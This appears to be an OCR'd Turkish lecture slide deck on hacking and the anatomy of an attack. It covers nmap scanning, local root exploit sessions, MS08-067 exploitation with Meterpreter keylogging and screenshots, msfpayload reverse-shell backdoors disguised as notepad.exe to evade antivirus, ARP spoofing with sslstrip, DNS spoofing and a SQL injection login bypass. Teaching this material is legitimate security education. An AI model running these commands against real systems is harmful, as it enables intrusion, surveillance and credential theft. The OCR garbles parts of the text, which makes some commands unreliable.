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Hacking Kulttru Hakkinda

Bilgisayar yeralti danyasi bir aynali salondur.

Gercekler bukdultr, dogrular kdguldr.
- Sifira Dogru
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Bilisim Giivenligi

* Bilisim Urunleri/cihazlari ile bu cihazlarda
islenmekte olan verilerin gizliligini, battnlGguna
ve surekliligini korumay! amaclayan bir alandir.

* Bilisim Guvenliginin temel amaglar
* Veri Batinlaguntn Korunmasi
* Erisim Denetimi
* Mahremiyet ve Gizliligin Korunmasi
* Sistem Devamliliginin Saglanmasi
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Bir Saldirinin Anatomisi

1)Kesif ( Footprinting )
- Hedef hakkinda bilgi toplama asamasidir.

2)Tarama(Scanning) @
-Aktif sistemler, Servisler vb bllg er op

-Glvenlik agigi aranir.
3)Girisi Saglamak @ 3=

-Saldir gergeklestirilir. Sistem kirilir}

4)Erisimi Devam Ettirmek \

-Saldirgan iceride kalmak icin rootkit, t
yazilimlar kurar.

5)izleri temizlemek
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Kesif Asamasi

* Bu asamada saldirgan hedef sistem hakkinda
bilgi toplamaya calisir.

* Hedef Web Sayfasi, Whois kayitlari, Arama
motorlari, e-posta listeleri, sosyal aglar vb

kaynaklardan bilgi toplanir.

* Hedef sisteme ait alan adlar
* |P adres araligi
* Calismakta olan aktif sistemler

* Bu sistemler calisan isletim sistemleri, servig
yama seviyeleri
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Tarama Asamasi

* Bu agsamada hedefin varliklarini belirlemek igin
kullanilan tarama yontemileri.
* Nmap ile port tarama.
* -sT : Connect Scan nmap -sT 192.168.1.1
* -sS : SYN Scan nmap -sT 192.168.1.1
* -sU : UDP Scan nmap -sT 192.168.1.1
* Nmap ile calisan servislerin tespiti.
* nmap -A 192.168.1.33
* Nmap ile igsletim sistemi tespiti.
* nmap -O 192.168.1.1
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Sisteme Sizmak

* Saldirgan bundan 6nceki adimlarda topladigi bilgilere
dayanarak hedef sistemi kirmaya calisacakitir.

* Ara Bellek istismari (Buffer Overflow)

— Linux Kernel 2.6.18 root exploit
— FreeBSD 8 root exploit
— Microsoft Windows Xp SP3 / Server 2003 SP2 “MS08-67”

* Yerel Ag Saldirilari
— Sniffing
— ARP Poisoning
— SSL Trafiginde araya girme
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Sisteme Sizmak — Linux root exploit

user@debian:~$ uname -a

Linux debian 2.6.18-5-686 #1 SMP Fri Jun 1 00:47:00 UTC 2007 1686
GNU/Linux

user@debian:~$ id

uid=1002(user) gid=1002(user) gruplar=1002(user)
user@debian:~$ Is -la 2.6.18-exploit

-rwxr-xr-x 1 user user 6819 2010-04-09 22:08 2.6.18-exploit
user@debian:~$ ./2.6.18-exploit

sh-3.1# id

uid=0(root) gid=0(root) gruplar=1002(user)
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Sisteme Sizmak — FreeBSD root exploit

$ uname -a

FreeBSD pentester.cehturkiye.com 8.0-RELEASE FreeBSD 8.0-RELEASE
#0: Sat Nov 21 15:48:17 UTC 2009

root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC 1386

$id

uid=1002(ozanus) gid=1002(ozanus) groups=1002(ozanus)

$ ./w0O0t.sh

w00t.sh FreeBSD local rO0t zeroday

by Kingcope

November 2009

#id

uid=1002(ozanus) gid=1002(ozanus) euid=0(root) groups=1002(ozanus)
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Sisteme Sizmak - MS08-067

* Ara Bellek istismari (Remote Exploit)

Exploit Kullanimi ;
use windows/smb/ms08 067 netapi

Payload Secimi;
set PAYLOAD windows/meterpreter/reverse_tcp

Klavye giriglerini yakalamak ;
migrate explorer.exe
Keyscan_start
Keyscan_dump
Keyscan_stop
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Sisteme Sizmak - Meterpreter

Ekran Gorunttsu almak ;
use espia
screenshot /tmp/lol.bmp

Hedef sistemten Sesi almak
run soundrecort 20

Uzak masaustu baglantisi kurmak ;
run getgui -n 5657 -u zuzu -p 123

Host/Dns ayarlarini degistirmek ;
run hostsedit -e 192.168.5.202 hotmail.com
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Erisimi Devam Ettirmek

Backdoor / Trojan olusturma

msfpayload windows/shell/reverse_tcp LHOST=10.0.0.202 LPORT=443
X > backdoor.exe

msfpayload windows/shell/reverse_tcp LHOST=10.0.0.202 LPORT=443
R | msfencode -x notepad.exe -t exe -e x86/shikata_ga nai-c 10 -0
notepad2.exe

Dinleme modu gecmek icin;
msfcli exploit/multi’/handler PAYLOAD=windows/shell/reverse_tcp
LHOST=10.0.0.202 LPORT=443 E

virustotal.com tarama sonucu ?

Sonug: 2/42 (4.76%) 42 guncel antivirlsten sadece 2 tanesi zararl
yazilim oldugunu tespit edebildi.
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ARP Protokolu

1. Adim a8
192.168.1.33

Orada misin?

S~

2. Adim
Ben 192.168.1.33.

Buradayim! MAC adresim

11:22:33:44:55:66

m
T gt

gonderir.

1. A Bilgisayan 192.168.1.33 IP adresli B
bilgisayarina broadcast ile ARP istegi gonderir.

2. B Bilgisayari kendisine gelen bu ARP istegini
yanitlar ve MAC adresini A Bilgisayarina

3. Her iki bilgisayar arasinda iletisim baslar.
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ARP Zehirleme

1. Adim ] / 2. Adim

192.168.1.33 Ben 192.168.1.33.
Orada misin? Buradayim! MAC adresim

11:22:33:44:55:
ﬁﬁ@ _ 33 55:66

a2 2. Adim

Hayir! 192.168.1.33 Benim! E“E

MAC adresim

77:88:99:10:11:12 o0 —
\ I_.C_ 4

* Saldirgan A makinesine sahte ARP yanitlari
gondermeye baslar. A makinesinin ARP On
bellegi (ARP Cache) zehirlenecek ve veriler
saldirganin MAC adresine gonderecektir.
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ARP Zehirleme

* arpspoof -i eth0 10.0.0.100 10.0.0.2

Kurban gateway

ARP Zehirlemesi saldirisi sonucu kurban makinelerde IP — MAC
eslemesi olmasi gerekenden farkli olacaktir. )

s C:AWINDOWS\system 3 2\vemd. exe
icrosoft Windows HP [Surum 5.1 .26881

CC>» Telif Hakki 197852881 Micros=zoft Corp.

C-owDocuments and Setting Farp —a

Arabirim: 18. 8. 8.1 —— Hx2
Internet Adresi Fiziksel Adres Tipi
180.8.8_2 A0—dBfid—da—-58-6d—14 dinamik

C:xDocuments and Settings® >

Arabirim:=: 18. 8. .1 —— Bx2
Internet Adre=si Fi=zik=sel Adres
18.8.8_.2 H8—18-f3— 8 “hbh—af
1iA.8.8_9 Hl—18-f3f8—“Yhbh—af

C:wDocuments and Settings® >
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Ortadaki Adam (MIM)

1. Adim a8 2. Adim
192.168.1.33 Ben 192.168.1.33.
Orada m|S|n'? Buradaylm! MAC adresim
11:22:33:44:55:
_ 33:44:55:66
a8 2. Adim 2. Adim )
Hayir! 192.168.1.33 Benim! Hayir! 192.168.1.10 Benim!
MAC adresim MAC adresim
77:88:99:10:11:12 77:88:99:10:11:12

.

* Saldirgan Ave B bllglsayarlarmln ARP
Cachlerini zehirler. Boylece A'dan B'ye giden
tim paketler Saldirgan Gzerinden gececektir.
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Ortadaki Adam (MIM)

192.168.1.1 192.168.1.1
Kim? Kim?

Hayir! 192.168.1.1

Hayir! 192.168.1.1 Benim!
MAC adresim Benim!
77:88:99:10:11:12 MAC adreS|m
B8990 1T 1z

* Saldirgan
varsayilan ag
gecidi yerine o g
gecerek tim trafigi —
izler.

192.168.1.1 Benim. )
Ben Ag Gegidiyim.
MAC adresim

AA:BB:CC:DD:EE:FF
7
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SSL Trafiginde Araya girme

 |P Forward Aktif Edilir;
echo 1 > /proc/sys/net/ipv4/ip_forward

« Kurbanin arp tablosu zehirlenir;
arpspoof -i ethO -t 10.0.0.100 10.0.0.2

« |ptable kullanilarak 80 den gelen istekler herhangi bir
porta yonlendirilir;

iptables -t nat -A PREROUTING -p tcp --destination-port
80 -j REDIRECT --to-ports 10000

SSLStript Baglatilir ;
python sslistrip.py -w gizli -a -1 10000 -f

Ornek ; gmail.com — garanti.com.tr - paypal.com
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DNS Spoof

» Saldirganin yerel agdaki DNS isteklerini
izleyerek bu isteklere sahte cevaplar vermesine
dayanir.

* Saldirgan bir DNS ¢6zimleme islemine

mudahale ederek, kullanicilari farkli
sistemlere yonlendirebilir.

* Saldirgan, swithcli aglarda ARP "% ‘ §p
Zehirlemesi ile varsayilan ag gegig |n 'IA

ele gecirmelidir. /ﬂ(ﬁ
-'-_f-_i-.__#
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DNS CozUmleme

DNS Sorgusu (1) DNS Cevabi (2)
www.cehturkiye.com www.cehturkiye.com
|IP Adresi nedir? 10.20.30.40

www.cehturkiye.com

10.20.30.40

Baglant: istegi (3) j
www.cehturkiye.com
10.20.30.40
1. CEH Turkiye sitesi icin alan adi sorgusu yapilir

2. On tanimli DNS sunucusu alan adini ¢ézimler ve IP
adresini dondurur.

3. IP adresine baglanti yapilarak CEH Turkiye sitesine
ulasilir.
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DNS Spoof

DNS Cevabi (2)
www.cehturkiye.com
10.20.30.40

: www.cehturkiye.com
\0.20.30.40
Sahte DNS Cevabi (ZH e
m _

DNS Sorgusu (1)
www.cehturkiye.com
IP Adresi nedir?

www.cehturkiye.co
66.66.66.66

1. DNS Sorgusu yaplllr- Sahte cehturkiye.com
: 66.66.66.66
2. Saldirgan DNS Sorgusuna cevap verir.

3. Kurban saldirganin verdigi adresteki sahte siteye
baglanir.
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Web Saldirilari

* Son zamanlarda saldirganlar dogrudan web
uygulamalarindaki zayiiliklari hedef
almaktadirlar.

* Zayif bir web uyPqumaS| nedeniyle N
uygulamanin calistigr web sunucusu Kirilabilir
veya bu uygulamayi kullanan ziyaretcilere
saldiri duzenlenebllir.

* Web Saldirilari

— SQL Sokusturma (SQL Injection)
— Betik Sokusturma (XSS)

— Dosya Ekleme (RFI/ LFI)

— Parametre Manipulasyonu

— Dizin Atlama
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SQL Sokusturma (SQL Injection)

* SQL Enjeksiyonu girdi dogrulama islemlers
yapmayan Web Uygulamalarinda meydana
gelen bir saldiridir.

* Saldirgan, web uygulamasina gonderilen
parametreleri degistirerek farkli SQL ifadelerinin
calistirllmasini saglayabilir.

* Saldirgan;
— Giris (Login) islemlerini atlatabilir.
— Veritabanindan kayit okuyabilir. £
— Veritabanindan kayit glincelleyebilir. .~
— Veritabanindan kayit silebilir.
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Giris Atlatma

* Girdi dogrulama yapilmayan uygulamalarda
saldirgan kullanici adi ve parola alanlarina SQL
ifadeleri yazarak kullanici dogrulama iglemlerini

atlatabilir.
k adl = Request.Form("k ad1")

k parola= Request.Form{"k parola®)

3q1="SELECT k 1d FROM kullanicl WHERE k ad1=""&k ad1&"' AND k parola=""&k parolag"'"
set rg = Conn.execute(sqgl)

If HNOT rs.EQF then
Response.Write ("Hos Geldiniz!")
Else
Response.Write ("Hatall Girig!")

End If
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Giris Atlatma

* SQL Sorgumuz asagidaki gibi olsun...
SELECT.WHERE k_id='k_parola’ AND k_parola="k_id’

* Kullanici adi admin ve parola 123 oldugunda
yukaridaki sorguyu inceleyelim.

SELECT.WHERE k_id=admin’ AND k_parola="123’

yazdiginda ne oluyor?

or

ne anlama gelir?

* Saldirgan kullanici adi ve parola alanlarina “ or

SELECT..WHERE k_id=" or =" AND k_parola=" or “'="
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Sorular

?
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